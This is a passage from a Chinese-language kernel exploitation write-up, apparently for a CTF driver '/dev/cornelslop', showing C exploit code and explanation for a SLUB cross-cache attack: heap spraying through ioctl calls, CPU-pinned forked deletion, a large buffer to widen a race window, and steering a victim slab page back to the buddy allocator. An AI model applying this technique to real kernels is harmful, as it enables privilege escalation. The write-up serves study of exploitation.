style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> min_partial</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 5</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ADD_ENTRY</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">cafebabe</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> DEL_ENTRY</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">deadbabe</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> CHECK_ENTRY</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">beefbabe</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> fd;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> ids</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">MAXN</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typedef</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cornelslop_user_entry </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint32_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> id;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> va_start;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> va_end;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint8_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> corrupted;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cue;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> spary</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> size</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        void</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, PAGE_SIZE, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE, MAP_PRIVATE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANON </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        cue ue </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, ADD_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            error</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"ioctl(ADD_ENTRY) failed: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%d\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ret</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            exit</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">        ids</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ue.id;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> delete</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> size</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> core</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pid </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> fork</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        bind_core</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">core</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            cue ue </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> ids</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            ioctl</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, DEL_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        exit</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    waitpid</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    usleep</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">100000</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> main</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    fd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> open</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/dev/cornelslop"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, O_RDONLY </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> O_CLOEXEC</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    void</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, SIZE, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE, MAP_PRIVATE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANON </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // 这里要申请最大的 buf，这样 sha256 计算耗时更长，窗口更长。</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    info</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"0x</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%lx</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    cue ue </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> SIZE,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // victim entry</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, ADD_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // victim</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
<p>分析一下此时 CPU0 的 slab 情况，应该是 Active Page 里只有 1 个 inuse，我们的目标是把这个 victim entry 所在的 slab page（后续简称 victim page）放回 buddy system。</p>
<p>pwndbg 看一下，如图：</p>
<p><img loading="lazy" decoding="async" fetchpriority="auto" src="https://pic1.imgdb.cn/item/69b2f2bbcda91d5fba01f521.png" alt/></p>
<ol>
<li>先把这个 victim page 填满，然后扔到 CPU1 的 partial page 里</li>
</ol>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    spary</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    delete</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<p>执行完后效果如下图：</p>
<p><img loading="lazy" decoding="async" fetchpriority="auto" src="https://pic1.imgdb.cn/item/69b2f540cda91d5fba01f5ab.png" alt/></p>
<p>tips: 为什么要 <code class="inline-code">* 2</code> 呢？因为如果只申请一个 slab page 的话，它实际上会被放在 per-cpu 的 active list，如果分配/删除两个 slab page，那么一个会作为 active page，另一个才会进入 partial page。</p>
<ol start="2">
<li>然后堆喷把 CPU1 的 partial page list 填满，再溢出一个，这样 victim page 就会被放到 buddy system 里了。</li>
</ol>
